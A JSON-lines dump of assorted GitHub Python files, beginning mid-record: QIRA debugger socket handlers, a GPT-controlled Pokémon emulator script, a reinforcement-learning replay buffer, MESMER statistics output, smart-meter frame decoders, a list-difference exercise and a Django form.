json.dumps(ret)\n\n@socketio.on('gotoname', namespace='/qira')\n@socket_method\ndef gotoname(name):\n  addr = program.static.get_address_by_name(name)\n  if addr != None:\n    emit('setiaddr', ghex(addr))\n\n@socketio.on('settags', namespace='/qira')\n@socket_method\ndef settags(tags):\n  for addr in tags:\n    naddr = fhex(addr)\n    for i in tags[addr]:\n      program.static[naddr][i] = tags[addr][i]\n\n# dot as a service\n@app.route('/dot', methods=[\"POST\"])\ndef graph_dot():\n  req = request.data\n  #print \"DOT REQUEST\", req\n  f = open(\"/tmp/in.dot\", \"wb\")\n  f.write(req)\n  f.close()\n  os.system(\"dot /tmp/in.dot > /tmp/out.dot\")\n  ret = open(\"/tmp/out.dot\", \"rb\").read()\n  #print \"DOT RESPONSE\", ret\n  return ret\n\n# currently if we aren't using static, we don't want to draw the staticview\n# or be able to makefunction\n\nif qira_config.WITH_STATIC:\n  @socketio.on('getstaticview', namespace='/qira')\n  @socket_method\n  def getstaticview(haddr, flat, flatrange):\n    def copy_fields(bbb, stat):\n      bbb['type'] = stat['type']\n      bbb['comment'] = stat['comment']\n      if 'instruction' in stat:\n        bbb['instruction'] = str(stat['instruction'])\n\n    def nl(dat):\n      if (sys.version_info > (3, 0)):\n        return list(map(int, dat))\n      else:\n        return map(ord, dat)\n\n    fxn = program.static[fhex(haddr)]['function']\n    if fxn == None or flat == True:\n      addr = fhex(haddr)\n\n      # not a function, return flat view\n      ret = []\n      # find backward\n      i = addr\n      while len(ret) != abs(flatrange[0]):\n        did_append = False\n        # search up to 256 back\n        for j in range(1, 256):\n          if 'len' in program.static[i-j] and program.static[i-j]['len'] == j:\n            i -= j\n            bbb = {'address': ghex(i)}\n            bbb['bytes'] = nl(program.static.memory(i, j))\n            ret.append(bbb)\n            did_append = True\n            break\n        if not did_append:\n          i -= 1\n          bbb = {'address': ghex(i)}\n          bbb['bytes'] = nl(program.static.memory(i, 1))\n          ret.append(bbb)\n      ret = ret[::-1]\n\n      # find forward\n      i = addr\n      while len(ret) != abs(flatrange[0]) + flatrange[1]:\n        bbb = {'address': ghex(i)}\n        #print program.tags[i]\n        if 'len' in program.static[i]:\n          l = program.static[i]['len']\n          if l == 0:\n            l = 1\n        else:\n          l = 1\n        bbb['bytes'] = nl(program.static.memory(i, l))\n        i += l\n        ret.append(bbb)\n\n      for bbb in ret:\n        a = fhex(bbb['address'])\n        copy_fields(bbb, program.static[a])\n        # dests?\n\n      emit('flat', ret)\n    else:\n      blocks = []\n      for b in fxn.blocks:\n        bb = []\n        for i in sorted(b.addresses):\n          bbb = {'address': ghex(i)}\n          copy_fields(bbb, program.static[i])\n          bbb['dests'] = list(map(lambda x: (ghex(x[0]), x[1]), program.static[i]['instruction'].dests()))\n          bb.append(bbb)\n        blocks.append(bb)\n\n      emit('function', {'blocks': blocks})\n\n  @socketio.on('make', namespace='/qira')\n  @socket_method\n  def make(typ, iaddr):\n    iaddr = fhex(iaddr)\n    print(\"*** make\",typ,\"at\",ghex(iaddr))\n    if typ == 'function':\n      program.static.analyzer.make_function_at(program.static, iaddr)\n    elif typ == 'code':\n      junk = program.static[iaddr]['instruction']\n    elif typ == 'data':\n      program.static[iaddr]['type'] = 'data'\n      if program.static[iaddr]['len'] == 1:\n        program.static[iaddr]['len'] = 2\n      elif program.static[iaddr]['len'] == 2:\n        program.static[iaddr]['len'] = 4\n      else:\n        program.static[iaddr]['len'] = 1\n    elif typ == 'string':\n      # get length of string\n      eaddr = iaddr\n      try:\n        while program.static.memory(eaddr, 1)[0] != '\\x00':\n          eaddr += 1\n      except:\n        pass\n      strlen = eaddr-iaddr\n      if strlen == 0:\n        return\n      mstr = program.static.memory(iaddr, strlen)\n      mstr = ''.join(filter(str.isalnum, mstr))\n\n      program.static[iaddr]['type'] = 'string'\n      program.static[iaddr]['len'] = strlen\n      program.static[iaddr]['name'] = \"a\"+mstr\n    elif typ == 'undefined':\n      del program.static[iaddr]['len']\n      del program.static[iaddr]['type']\n      del program.static[iaddr]['instruction']\n\n\n","repo_name":"geohot/qira","sub_path":"middleware/qira_webstatic.py","file_name":"qira_webstatic.py","file_ext":"py","file_size_in_byte":5988,"program_lang":"python","lang":"en","doc_type":"code","stars":3805,"dataset":"github-code","pt":"37"}
+{"seq_id":"30691502023","text":"from pyboy import PyBoy, WindowEvent\nfrom PIL import Image\nimport time\nimport threading, queue\nimport os\nimport re\n\n\nfrom GPThandler import *\nfrom logger import append_to_file\n\ndef split_goals(text):\n    return [item.split('. ', 1)[1] for item in text.split('\\n') if '. ' in item]\n\n\ndef process_button_sequence(goals):\n    pattern = r\"\\[\\[.*?\\]\\]\"\n    match = re.search(pattern, goals)\n    \n    if match:\n        s = match.group(0)  # Returns the found button sequence\n    else:\n        print(\"no button sequence found\")\n        return\n\n    # Mapping from button names to press and release variables\n    button_map = {\n        \"UP\": (WindowEvent.PRESS_ARROW_UP, WindowEvent.RELEASE_ARROW_UP),\n        \"DOWN\": (WindowEvent.PRESS_ARROW_DOWN, WindowEvent.RELEASE_ARROW_DOWN),\n        \"LEFT\": (WindowEvent.PRESS_ARROW_LEFT, WindowEvent.RELEASE_ARROW_LEFT),\n        \"RIGHT\": (WindowEvent.PRESS_ARROW_RIGHT, WindowEvent.RELEASE_ARROW_RIGHT),\n        \"A\": (WindowEvent.PRESS_BUTTON_A, WindowEvent.RELEASE_BUTTON_A),\n        \"B\": (WindowEvent.PRESS_BUTTON_B, WindowEvent.RELEASE_BUTTON_B),\n        \"SELECT\": (WindowEvent.PRESS_BUTTON_SELECT, WindowEvent.RELEASE_BUTTON_SELECT),\n        \"START\": (WindowEvent.PRESS_BUTTON_START, WindowEvent.RELEASE_BUTTON_START)\n    }\n\n    # Remove square brackets and split by space to get individual button commands\n    commands = s.strip(\"[]\").split()\n\n    # Create a list to hold the sequence of press and release commands\n    button_sequence = []\n\n    for command in commands:\n        if command in button_map:\n            # Add press and release commands to the sequence\n            press, release = button_map[command]\n            button_sequence.append(press)\n            button_sequence.append(release)\n\n    return button_sequence\n\ndef remove_button_sequence_and_following(text):\n    # Regular expression pattern to find the line starting with \"BUTTON-SEQUENCE:\" and everything after\n    pattern = r\"BUTTON-SEQUENCE:.*\\[\\[.*?\\]\\](.|\\s)*\"\n    modified_text = re.sub(pattern, '', text, flags=re.DOTALL)\n    \n    return modified_text\n\ndef update_screenshots(pyboy):\n    # Check if the minus_two screenshot exists and remove it\n    if os.path.exists(\"minus_two.jpg\"):\n        os.remove(\"minus_two.jpg\")\n\n    # Rename minus_one to minus_two if it exists\n    if os.path.exists(\"minus_one.jpg\"):\n        os.rename(\"minus_one.jpg\", \"minus_two.jpg\")\n\n    # Rename previous to minus_one if it exists\n    if os.path.exists(\"previous_vision.jpg\"):\n        os.rename(\"previous_vision.jpg\", \"minus_one.jpg\")\n\n    # Rename current to previous\n    if os.path.exists(\"current_vision.jpg\"):\n        os.rename(\"current_vision.jpg\", \"previous_vision.jpg\")\n\n    # Take a new screenshot and save it as current\n    screenshot = pyboy.screen_image()\n    screenshot.save(\"current_vision.jpg\", \"JPEG\")\n\n    # Trigger any event if necessary (e.g., for synchronization)\n    if screenshot_event:\n        screenshot_event.set()\n\nq = queue.Queue()\n\nscreenshot_event = threading.Event()\n\n\ndef comms():\n    no_command_count = 0 \n    screenshot_event.wait()\n    screenshot_event.clear()\n    goals = request_initial_goals(\"current_vision.jpg\")\n    while True:\n        sequence = process_button_sequence(goals)\n        if sequence:\n            no_command_count = 0\n            for command in sequence:\n                q.put(command)  # Put the command in the queue\n                # Add a sleep for 0.3 seconds for press and 2 second for release\n                time.sleep(0.3 if command <= 8 else 2)\n        else:\n            no_command_count += 1\n        \n        if no_command_count == 2:\n            append_to_file(\"NO COMMANDS SENT FOR 2 SEQUENCES IN A ROW\")\n            break\n        q.put(\"SCREENSHOT\")\n        screenshot_event.wait()\n        screenshot_event.clear()\n        goals = request_progress_update(\"minus_two.jpg\", \"minus_one.jpg\", \"previous_vision.jpg\", \"current_vision.jpg\", goals)\n\n\ndef run_pyboy():\n    # Path to your Pokemon Red ROM\n    rom_path = 'Pokemon Red.gb'\n\n    # Initializing PyBoy with the ROM\n    pyboy = PyBoy(rom_path, sound=True)\n    pyboy.set_emulation_speed(0)  # Set this to 0 for unbounded speed\n\n    for _ in range(1400):\n        pyboy.tick()\n\n    pyboy.set_emulation_speed(1)\n\n    screenshot = pyboy.screen_image()\n    screenshot.save(\"minus_two.jpg\", \"JPEG\")\n    screenshot.save(\"minus_one.jpg\", \"JPEG\")\n    screenshot.save(\"previous_vision.jpg\", \"JPEG\")\n    screenshot.save(\"current_vision.jpg\", \"JPEG\")\n    screenshot_event.set()\n\n    while not pyboy.tick():\n        try:\n            command = q.get(block=False)\n            print(\"sending command\", command)\n            if command == \"SCREENSHOT\":\n                update_screenshots(pyboy)\n            else:\n                pyboy.send_input(command)\n        except queue.Empty:\n            pass\n    pyboy.stop()\n\n\n\n# Start the game in a separate thread\npyboy_thread = threading.Thread(target=run_pyboy)\npyboy_thread.start()\n\n# Start the comms thread to send button sequences\ncomms_thread = threading.Thread(target=comms)\ncomms_thread.start()","repo_name":"SanderKaatee/GPT_Pokemon","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2308346376","text":"import numpy as np\nimport collections\n\n\n\nclass ReplayBuffer():\n\t'''\n\tReplay Buffer class to keep the agent memories memorized in a deque structure.\n\t'''\n\tdef __init__(self, size, n_multi_step, gamma):\n\t\tself.buffer = collections.deque(maxlen=size)\n\t\tself.n_multi_step = n_multi_step\n\t\tself.gamma = gamma\n\n\tdef __len__(self):\n\t\treturn len(self.buffer)\n\n\tdef append(self, memory):\n\t\t'''\n\t\tappend a new 'memory' to the buffer\n\t\t'''\n\t\tself.buffer.append(memory)\n\n\tdef sample(self, batch_size):\n\t\t'''\n\t\tSample batch_size memories from the buffer.\n\t\tNB: It deals the N-step DQN\n\t\t'''\n\t\t# randomly pick batch_size elements from the buffer\n\t\tindices = np.random.choice(len(self.buffer), batch_size, replace=False)\n\n\t\tstates = []\n\t\tactions = []\n\t\tnext_states = []\n\t\trewards = []\n\t\tdones = []\n\n\t\t# for each indices\n\t\tfor i in indices:\n\t\t\tsum_reward = 0\n\t\t\tstates_look_ahead = self.buffer[i].new_obs\n\t\t\tdone_look_ahead = self.buffer[i].done\n\n\t\t\t# N-step look ahead loop to compute the reward and pick the new 'next_state' (of the n-th state)\n\t\t\tfor n in range(self.n_multi_step):\n\t\t\t\tif len(self.buffer) > i+n:\n\t\t\t\t\t# compute the n-th reward\n\t\t\t\t\tsum_reward += (self.gamma**n) * self.buffer[i+n].reward\n\t\t\t\t\tif self.buffer[i+n].done:\n\t\t\t\t\t\tstates_look_ahead = self.buffer[i+n].new_obs\n\t\t\t\t\t\tdone_look_ahead = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tstates_look_ahead = self.buffer[i+n].new_obs\n\t\t\t\t\t\tdone_look_ahead = False\n\n\t\t\t# Populate the arrays with the next_state, reward and dones just computed\n\t\t\tstates.append(self.buffer[i].obs)\n\t\t\tactions.append(self.buffer[i].action)\n\t\t\tnext_states.append(states_look_ahead)\n\t\t\trewards.append(sum_reward)\n\t\t\tdones.append(done_look_ahead)\n\n\t\treturn (np.array(states, dtype=np.float32), np.array(actions, dtype=np.int64), np.array(next_states, dtype=np.float32), np.array(rewards, dtype=np.float32), np.array(dones, dtype=np.uint8))\n","repo_name":"andri27-ts/Reinforcement-Learning","sub_path":"Week3/buffers.py","file_name":"buffers.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":3944,"dataset":"github-code","pt":"37"}
+{"seq_id":"11700475999","text":"\"\"\"\nContains several useful functions for displaying or saving information/statistics about a MESMER run\n\"\"\"\n\nimport os\nimport os.path\nimport operator\nimport shelve\n\nfrom datetime\t\t\timport datetime\n\nfrom exceptions\t\t\timport *\nfrom ga_functions_misc\timport *\nfrom ga_functions_stats\timport *\nfrom utility_functions\timport *\n\ndef print_generation_state( args, counter, ensemble_stats, restraint_stats ):\n\t\"\"\"\n\tPrints the status of the current generation via print_msg()\n\n\tReturns: None\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\tensemble_stats\t- A complex dictionary containing ensemble statistics. See get_best_ensembles() for more info.\n\trestraint_stats\t- A complex dictionary containing restraint statistics. See get_restraint_stats() for more info.\n\t\"\"\"\n\n\tprint_msg( \"\" )\n\tprint_msg( \"\\tCurrent time: %s\" % datetime.utcnow() )\n\tprint_msg( \"\\tParent survival percentage: %i%%, %i unique ensembles\" % (100*ensemble_stats['ratio'],ensemble_stats['unique']) )\n\tprint_msg( \"\\n\\t\\tBest Score\\t|\\tAverage\\t\\t|\\tStdev\" )\n\tprint_msg( \"\\t\\t------------------------------------------------------------\" )\n\tprint_msg( \"\\t\\t%.3e\\t|\\t%.3e\\t|\\t%.3e\" % (\n\t\tensemble_stats['total'][0],\n\t\tensemble_stats['total'][1],\n\t\tensemble_stats['total'][2]) )\n\n\ttarget_names = ensemble_stats['target'].keys()\n\n\t# print the per-target breakdown of scores\n\tfor name in target_names:\n\t\tif( len(target_names) > 1):\n\t\t\tprint_msg( \"\\n\\t%s\" % name )\n\t\t\tprint_msg( \"\\tTotal\\t%.3e\\t|\\t%.3e\\t|\\t%.3e\" % (\n\t\t\t\tensemble_stats['target'][name][0],\n\t\t\t\tensemble_stats['target'][name][1],\n\t\t\t\tensemble_stats['target'][name][2]) )\n\n\t\t# print the per-restraint breakdown of scores\n\t\tif( len(restraint_stats) > 1):\n\t\t\tfor type in sorted(restraint_stats.keys()):\n\t\t\t\tprint_msg( \"\\t%s\\t%.3e\\t|\\t%.3e\\t|\\t%.3e\" % (\n\t\t\t\ttype,\n\t\t\t\trestraint_stats[type][name][0],\n\t\t\t\trestraint_stats[type][name][1],\n\t\t\t\trestraint_stats[type][name][2]) )\n\n\tprint_msg( \"\" )\n\tsys.stdout.flush()\n\n\t# write to MESMER results db\n\tdb = shelve.open( os.path.join(args.dir,'mesmer_log.db') )\n\n\tif(db.has_key('ensemble_stats')):\n\t\ta,b = db['ensemble_stats'], db['restraint_stats']\n\telse:\n\t\ta,b = [],[]\n\n\t# large numbers of ensemble scores makes depickling run *extremely* slow, so no ensemble_stats['ratios']\n\ta.append( (ensemble_stats['total'],ensemble_stats['ratio'],ensemble_stats['target']) )\n\tb.append(restraint_stats)\n\n\tdb['ensemble_stats'], db['restraint_stats'] = a, b\n\tdb.close()\n\n\treturn\n\ndef print_ensemble_state( args, ratio_stats ):\n\t\"\"\"\n\tPrints the components of an ensemble via print_msg()\n\n\tReturns: None\n\n\tArguments:\n\targs \t\t- MESMER argument parameters\n\tratio_stats\t- A dictionary keyed by component names containing a three-component tuple: best weight, average weight, and (optionally) weight stdev\n\t\"\"\"\n\n\tfor name in ratio_stats:\n\t\tprint_msg( \"\\t%s\" % (name) )\n\n\t\tfor (c,w,d) in ratio_stats[name]:\n\t\t\tif( args.boots > 0 ):\n\t\t\t\tprint_msg( \"\\t\\t%.3f +/- %.3f\\t%s\" % (w,d,c) )\n\t\t\telse:\n\t\t\t\tprint_msg( \"\\t\\t%.3f\\t%s\" % (w,c) )\n\n\tsys.stdout.flush()\n\n\treturn\n\ndef print_plugin_state( args, counter, plugins, targets, ensembles):\n\t\"\"\"\n\tCalls the ensemble_state function for each plugin\n\n\tReturns: always True. Errors from plugins are reported via print_msg()\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\tcounter\t\t- Generation counter used to build output path\n\tplugins\t\t- List of plugins\n\ttargets\t\t- List of mesTargets\n\tensembles\t- List of mesEnsembles\n\t\"\"\"\n\n\toutput = []\n\tfor t in targets:\n\t\tfor r in t.restraints:\n\t\t\tpath = os.path.abspath( \"%s%srestraints_%s_%s_%05i.out\" % (args.dir,os.sep,t.name,r.type,counter) )\n\n\t\t\tfor p in plugins:\n\t\t\t\tif(r.type in p.type):\n\t\t\t\t\t# build the ensemble data list from all ensembles\n\t\t\t\t\tall_ensemble_data = []\n\t\t\t\t\tfor e in ensembles:\n\t\t\t\t\t\tall_ensemble_data.append(e.plugin_data[t.name][r.type])\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\tmessages = p.ensemble_state(r, t.plugin_data[r.type], all_ensemble_data, path)\n\t\t\t\t\texcept MESMERPluginError as e:\n\t\t\t\t\t\tprint_msg(\"Plugin \\\"%s\\\" returned an error: %s\" % e.msg)\n\n\t\t\t\t\tbreak\n\n\treturn True\n\ndef write_component_stats( args, counter, ensembles ):\n\t\"\"\"\n\tWrite component correlations from the provided ensembles to file\n\n\tReturns: True on success, False on failure\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\tcounter\t\t- Generation counter (used to build file path)\n\tensembles\t- List of mesEnsembles\n\t\"\"\"\n\n\t(names,relative,absolute) = get_component_correlations( args, ensembles )\n\tn = len(names)\n\n\t# don't bother printing an empty table\n\tif(n==0):\n\t\treturn True\n\n\tpath = os.path.abspath( \"%s%scomponent_correlations_%05i.tbl\" % (args.dir,os.sep,counter) )\n\n\ttry:\n\t\tf = open( path, 'w' )\n\texcept IOError:\n\t\tprint_msg( \"ERROR: Could not write component correlation table to file \\\"%s\\\"\" % (path) )\n\t\treturn False\n\n\t# print table header\n\tfor name in names:\n\t\tf.write(\"\\t%s\" % name,)\n\tf.write(\"\\n\")\n\n\ttoggle = 0\n\tfor i in range(n):\n\t\tf.write(\"%s\\t\" % names[i])\n\n\t\tfor j in range(n):\n\n\t\t\t# toggle from absolute to relative correlation\n\t\t\tif( i == j ):\n\t\t\t\ttoggle = 1\n\n\t\t\tif(toggle > 0):\n\t\t\t\tf.write(\"%0.3f\\t\" % relative[i][j])\n\t\t\telse:\n\t\t\t\tf.write(\"%0.3f\\t\" % absolute[i][j])\n\n\t\tf.write(\"\\n\")\n\t\ttoggle = 0\n\n\tf.close()\n\n\treturn True\n\ndef write_ensemble_stats( args, counter, targets, ensembles ):\n\t\"\"\"\n\tWrite statistics from the ensemble component ratios to file\n\n\tReturns: True on success, False on failure\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\ttargets\t\t- List of mesTargets\n\tensembles\t- List of mesEnsembles\n\t\"\"\"\n\n\tstats = get_ratio_stats( targets, ensembles )\n\n\t# go through each target\n\tfor t in stats:\n\n\t\tpath = os.path.abspath( \"%s%scomponent_statistics_%s_%05i.tbl\" % (args.dir,os.sep,t,counter) )\n\n\t\ttry:\n\t\t\tf = open( path, 'w' )\n\t\texcept IOError:\n\t\t\tprint_msg( \"ERROR: Could not write ensemble statistics to file \\\"%s\\\"\" % (path) )\n\t\t\treturn False\n\n\t\tf.write( \"%s\\tPrevalence\\tAverage\\t\\tStdev\\n\" % (''.rjust(32)) )\n\n\t\t# order components by prevalence\n\t\tcomponent_counts = []\n\t\tfor component in stats[t]:\n\t\t\tcomponent_counts.append( (component,len(stats[t][component])) )\n\t\tcomponent_counts.sort( key=operator.itemgetter(1), reverse=True )\n\n\t\tfor (component,count) in component_counts:\n\t\t\tp = float(count)/args.ensembles\n\t\t\t# don't show stats for components with low prevalence\n\t\t\tif( p*100 < args.Pmin):\n\t\t\t\tbreak\n\n\t\t\t(mean,stdev) = mean_stdv( stats[t][component] )\n\t\t\tf.write( \"%s\\t%.3f %%\\t\\t%.3e\\t%.3e\\n\" % (\n\t\t\t\tcomponent.rjust(32),\n\t\t\t\t100*p,\n\t\t\t\tmean,\n\t\t\t\tstdev) )\n\n\t\tf.write( \"\" )\n\tf.close()\n\n\treturn True\n\ndef write_optimization_state( args, counter, targets, ensembles ):\n\t\"\"\"\n\tWrites the optimizations state for each ensemble to a file\n\n\tReturns: True on success, False on failure (also prints an error message to stdout)\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\tcounter\t\t- Generation counter used to build the file output path\n\ttargets\t\t- List of mesTargets\n\tensembles\t- List of mesEnsembles\n\t\"\"\"\n\n\tfor t in targets:\n\n\t\tpath = os.path.abspath( \"%s%soptimization_state_%s_%05i.tbl\" % (args.dir,os.sep,t.name,counter) )\n\n\t\ttry:\n\t\t\tf = open( path, 'w' )\n\t\texcept IOError:\n\t\t\tprint_msg( \"ERROR: Could not optimization state information to file \\\"%s\\\"\" % (path) )\n\t\t\treturn False\n\n\t\tfor (i,e) in enumerate(ensembles):\n\t\t\tf.write(\"%i\\t\" % (i))\n\n\t\t\ta = []\n\t\t\tfor t in targets:\n\t\t\t\ta.append( str(e.opt_status[t.name]) )\n\n\t\t\tf.write(\"%s\\n\" % (\"\\t\".join(a)) )\n\n\tf.close()\n\treturn True\n\ndef write_ensemble_state( args, counter, targets, ensembles ):\n\t\"\"\"\n\tWrite the current state of ensembles (component makeup, per-target ratios and fitnesses) to the MESMER results directory\n\n\tReturns True on success, or False on failure (e.g. couldn't write to file)\n\n\tArguments:\n\targs\t\t- MESMER argument parameters\n\tcounter\t\t- the current generation number\n\ttargets\t\t- list of mesTargets\n\tensembles\t- list of mesEnsembles for which to write status\n\t\"\"\"\n\n\tfor t in targets:\n\n\t\tpath = os.path.abspath( \"%s%sensembles_%s_%05i.tbl\" % (args.dir,os.sep,t.name,counter) )\n\t\ttry:\n\t\t\tf = open( path, 'w' )\n\t\texcept IOError:\n\t\t\tprint_msg( \"ERROR: Could not write ensemble state to file \\\"%s\\\" \" % (path) )\n\t\t\treturn False\n\n\t\tstr_list = ['#']\n\t\tfor i in range(len(ensembles[0].component_names)):\n\t\t\tstr_list.append('component')\n\n\t\tstr_list.append('fitness')\n\n\t\tfor i in range(len(ensembles[0].component_names)):\n\t\t\tstr_list.append('ratio')\n\n\t\tstr_list.append(\"\\n\")\n\n\t\tf.write(\"\\t\".join(str_list))\n\t\tdel str_list[:]\n\n\t\tfor (i,e) in enumerate(ensembles):\n\t\t\tstr_list.append( \"%05i\" % (i) )\n\n\t\t\tfor c in e.component_names:\n\t\t\t\tstr_list.append(c)\n\n\t\t\tstr_list.append( \"%.3e\" % (sum(e.fitness[t.name].itervalues())) )\n\n\t\t\tfor w in e.ratios[t.name]:\n\t\t\t\tstr_list.append( \"%.3f\" % (w) )\n\n\t\t\tstr_list.append(\"\\n\")\n\n\t\t\tf.write(\"\\t\".join(str_list))\n\t\t\tdel str_list[:]\n\n\t\tf.close()\n\n\treturn True\n","repo_name":"elihuihms/dissertation","sub_path":"Appendix F/mesmer/lib/ga_functions_output.py","file_name":"ga_functions_output.py","file_ext":"py","file_size_in_byte":8706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39665221124","text":"import base64\nimport datetime\nimport logging\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef decode_kaifa(buf, log=False):\n    \"\"\"Decode kaifa.\"\"\"\n    # pylint: disable=too-many-instance-attributes, too-many-branches\n    if buf[10:12] != '10':\n        if log:\n            _LOGGER.error(\"Unknown control field %s\", buf[10:12])\n        return None\n    try:\n        if int(buf[1:4], 16) * 2 != len(buf):\n            if log:\n                _LOGGER.error(\"Invalid length %s, %s\", int(buf[1:4], 16) * 2, len(buf))\n            return None\n\n        buf = buf[32:]\n        txt_buf = buf[28:]\n        if txt_buf[:2] != '02':\n            if log:\n                _LOGGER.error(\"Unknown data %s\", buf[0])\n            return None\n\n        year = int(buf[4:8], 16)\n        month = int(buf[8:10], 16)\n        day = int(buf[10:12], 16)\n        hour = int(buf[14:16], 16)\n        minute = int(buf[16:18], 16)\n        second = int(buf[18:20], 16)\n        date = \"%02d%02d%02d_%02d%02d%02d\" % (second, minute, hour, day, month, year)\n\n        res = {}\n        res['time_stamp'] = datetime.strptime(date, '%S%M%H_%d%m%Y')\n\n        pkt_type = txt_buf[2:4]\n        txt_buf = txt_buf[4:]\n        if pkt_type == '01':\n            res['Effect'] = int(txt_buf[2:10], 16)\n        elif pkt_type in ['09', '0D', '12', '0E']:\n            res['Version identifier'] = base64.b16decode(txt_buf[4:18]).decode(\"utf-8\")\n            txt_buf = txt_buf[18:]\n            res['Meter-ID'] = base64.b16decode(txt_buf[4:36]).decode(\"utf-8\")\n            txt_buf = txt_buf[36:]\n            res['Meter type'] = base64.b16decode(txt_buf[4:20]).decode(\"utf-8\")\n            txt_buf = txt_buf[20:]\n            res['Effect'] = int(txt_buf[2:10], 16)\n            if pkt_type in ['12', '0E']:\n                txt_buf = txt_buf[10:]\n                txt_buf = txt_buf[78:]\n                res['Cumulative_hourly_active_import_energy'] = int(txt_buf[2:10], 16)\n                txt_buf = txt_buf[10:]\n                res['Cumulative_hourly_active_export_energy'] = int(txt_buf[2:10], 16)\n                txt_buf = txt_buf[10:]\n                res['Cumulative_hourly_reactive_import_energy'] = int(txt_buf[2:10], 16)\n                txt_buf = txt_buf[10:]\n                res['Cumulative_hourly_reactive_export_energy'] = int(txt_buf[2:10], 16)\n        else:\n            if log:\n                _LOGGER.warning(\"Unknown type %s\", pkt_type)\n            return None\n    except ValueError:\n        if log:\n            _LOGGER.error(\"Failed\", exc_info=True)\n        return None\n    return res\n\n\ndef decode_aidon(buf, log=False):\n    \"\"\"Decode Aidon.\"\"\"\n    if buf[10:12] != '13':\n        if log:\n            _LOGGER.error(\"Unknown control field %s\", buf[10:12])\n        return None\n\n    try:\n        if int(buf[1:4], 16) * 2 != len(buf):\n            if log:\n                _LOGGER.error(\"Invalid length %s, %s\", int(buf[1:4], 16) * 2, len(buf))\n            return None\n\n        res = {}\n        res['time_stamp'] = None\n        pkt_type = buf[36:38]\n        if pkt_type == '01':\n            res['Effect'] = int(buf[60:68], 16)\n        elif pkt_type in ['09', '0C', '0D', '0E', '11', '12']:\n            res['Effect'] = int(buf[194:202], 16)\n        else:\n            if log:\n                _LOGGER.warning(\"Unknown type %s\", pkt_type)\n            return None\n    except ValueError:\n        if log:\n            _LOGGER.error(\"Failed\", exc_info=True)\n        return None\n    return res\n\n\ndef decode_kamstrup(buf, log=False):\n    \"\"\"Decode Kamstrup.\"\"\"\n    if buf[8:10] != '13':\n        if log:\n            _LOGGER.error(\"Unknown control field %s\", buf[10:12])\n        return None\n    if len(buf) < 176:\n        if log:\n            _LOGGER.error(\"Data length %s\", len(buf))\n        return None\n    buf = buf[32:]\n    txt_buf = buf[26:]\n\n    pkt_type = txt_buf[0:2]\n    if pkt_type not in ['0F', '11', '1B', '17', '21', '19', '23']:\n        if log:\n            _LOGGER.warning(\"Unknown type %s\", pkt_type)\n        return None\n\n    try:\n        year = int(buf[0:4], 16)\n        month = int(buf[4:6], 16)\n        day = int(buf[6:8], 16)\n        hour = int(buf[10:12], 16)\n        minute = int(buf[12:14], 16)\n        second = int(buf[14:16], 16)\n        date = \"%02d%02d%02d_%02d%02d%02d\" % (second, minute, hour, day, month, year)\n\n        res = {}\n        res['time_stamp'] = datetime.strptime(date, '%S%M%H_%d%m%Y')\n        res['Effect'] = int(txt_buf[160:168], 16)\n    except ValueError:\n        if log:\n            _LOGGER.error(\"Failed\", exc_info=True)\n        return None\n    return res\n","repo_name":"Danielhiversen/pyHanDecoder","sub_path":"han_decoder/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"24935173869","text":"# Write a Python program to get the difference between the two lists\n# Input \n# list1 = [1, 2, 3, 4]\n# list2 = [1, 2]\n# Output\n# [3,4]\n\nlist1 = [1, 2, 3, 4]\nlist2 = [1, 2]\n\na = set(list1) - set(list2)\nOutput = list(a)\nprint(Output)\n","repo_name":"sanjidat/python-problems","sub_path":"List/diff_bet_2_list.py","file_name":"diff_bet_2_list.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1673782956","text":"from crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout\nfrom django import forms\n\nfrom etilog.forms.fields_suggestions import RowTopics\n\nlabel_dict = {'tags': 'Frequently searched topics',\n              'company': 'Frequently searched companies',\n              'industry': 'Frequently searched industries'\n              }\nnr_inst_dict = {'tags': 10,\n                'company': 14,\n                'industry': 12,\n                }\n\n\nclass TopicForm(forms.Form):\n    def __init__(self, tag_category, *args, **kwargs):\n        labeln = label_dict[tag_category]\n        nr_insts = nr_inst_dict.get(tag_category, 10)\n        super(TopicForm, self).__init__(*args, **kwargs)\n\n        self.helper = FormHelper()\n        self.helper.form_tag = False\n\n        self.helper.layout = Layout(\n\n            RowTopics(tag_category=tag_category, labelname=labeln,\n                      nr_insts=nr_insts),\n        )","repo_name":"hodeld/etiki-prototype1","sub_path":"etilog/forms/forms_suggestions.py","file_name":"forms_suggestions.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
